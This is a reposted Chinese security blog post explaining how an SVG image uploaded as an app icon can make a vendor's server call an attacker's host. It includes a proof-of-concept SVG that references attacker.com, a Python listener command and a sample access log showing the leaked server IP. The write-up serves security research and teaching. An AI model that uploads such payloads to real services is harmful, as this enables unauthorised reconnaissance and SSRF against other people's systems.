通过svg图片所引发的漏洞
正文
漏洞核心:
SVG 是一种 XML 格式的矢量图文件,它支持嵌入其他资源(如图片),比如这样一行代码:
<image xlink:href="http://attacker.com/logo.gif" />
~当 厂商 的服务器/浏览器 渲染这个 SVG 文件时,它会尝试访问这个远程资源
这会造成:
厂商服务器端或浏览器端向攻击者服务器发起请求
攻击者可以看到访问记录,从而 泄露服务器 IP、User-Agent 等信息
在某些特殊场景下,还可能触发 SSRF(Server Side Request Forgery)或用户 CSRF
攻击流程:
攻击者使用 Python在攻击者服务器 启动一个监听 HTTP 请求的服务器:
python3 -m http.server 8000
制作恶意 SVG 文件:poc.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" height="200">
<image xlink:href="http://attacker.com:8000/intl/es_ALL/images/logos/images_logo_lg.gif"
x="10" y="10" width="276" height="110" />
</svg>
在 厂商的 App 设置页面上传这个 SVG 文件作为 App 图标。
只要 目标系统访问并渲染这个 SVG,就会发起一个 HTTP 请求到攻击者的服务器。
攻击者可以在控制台看到访问记录:
23.227.37.108 - - [02/Jun/2016:17:10:12] "GET /intl/es_ALL/images/logos/images_logo_lg.gif HTTP/1.0" 404 -
从中获取:
厂商的服务器 IP(可用于进一步侦查)
请求时间、路径、User-Agent(识别服务)
判断服务器是否使用代理、防火墙等
原文始发于微信公众号(迪哥讲事):通过svg图片所引发的漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论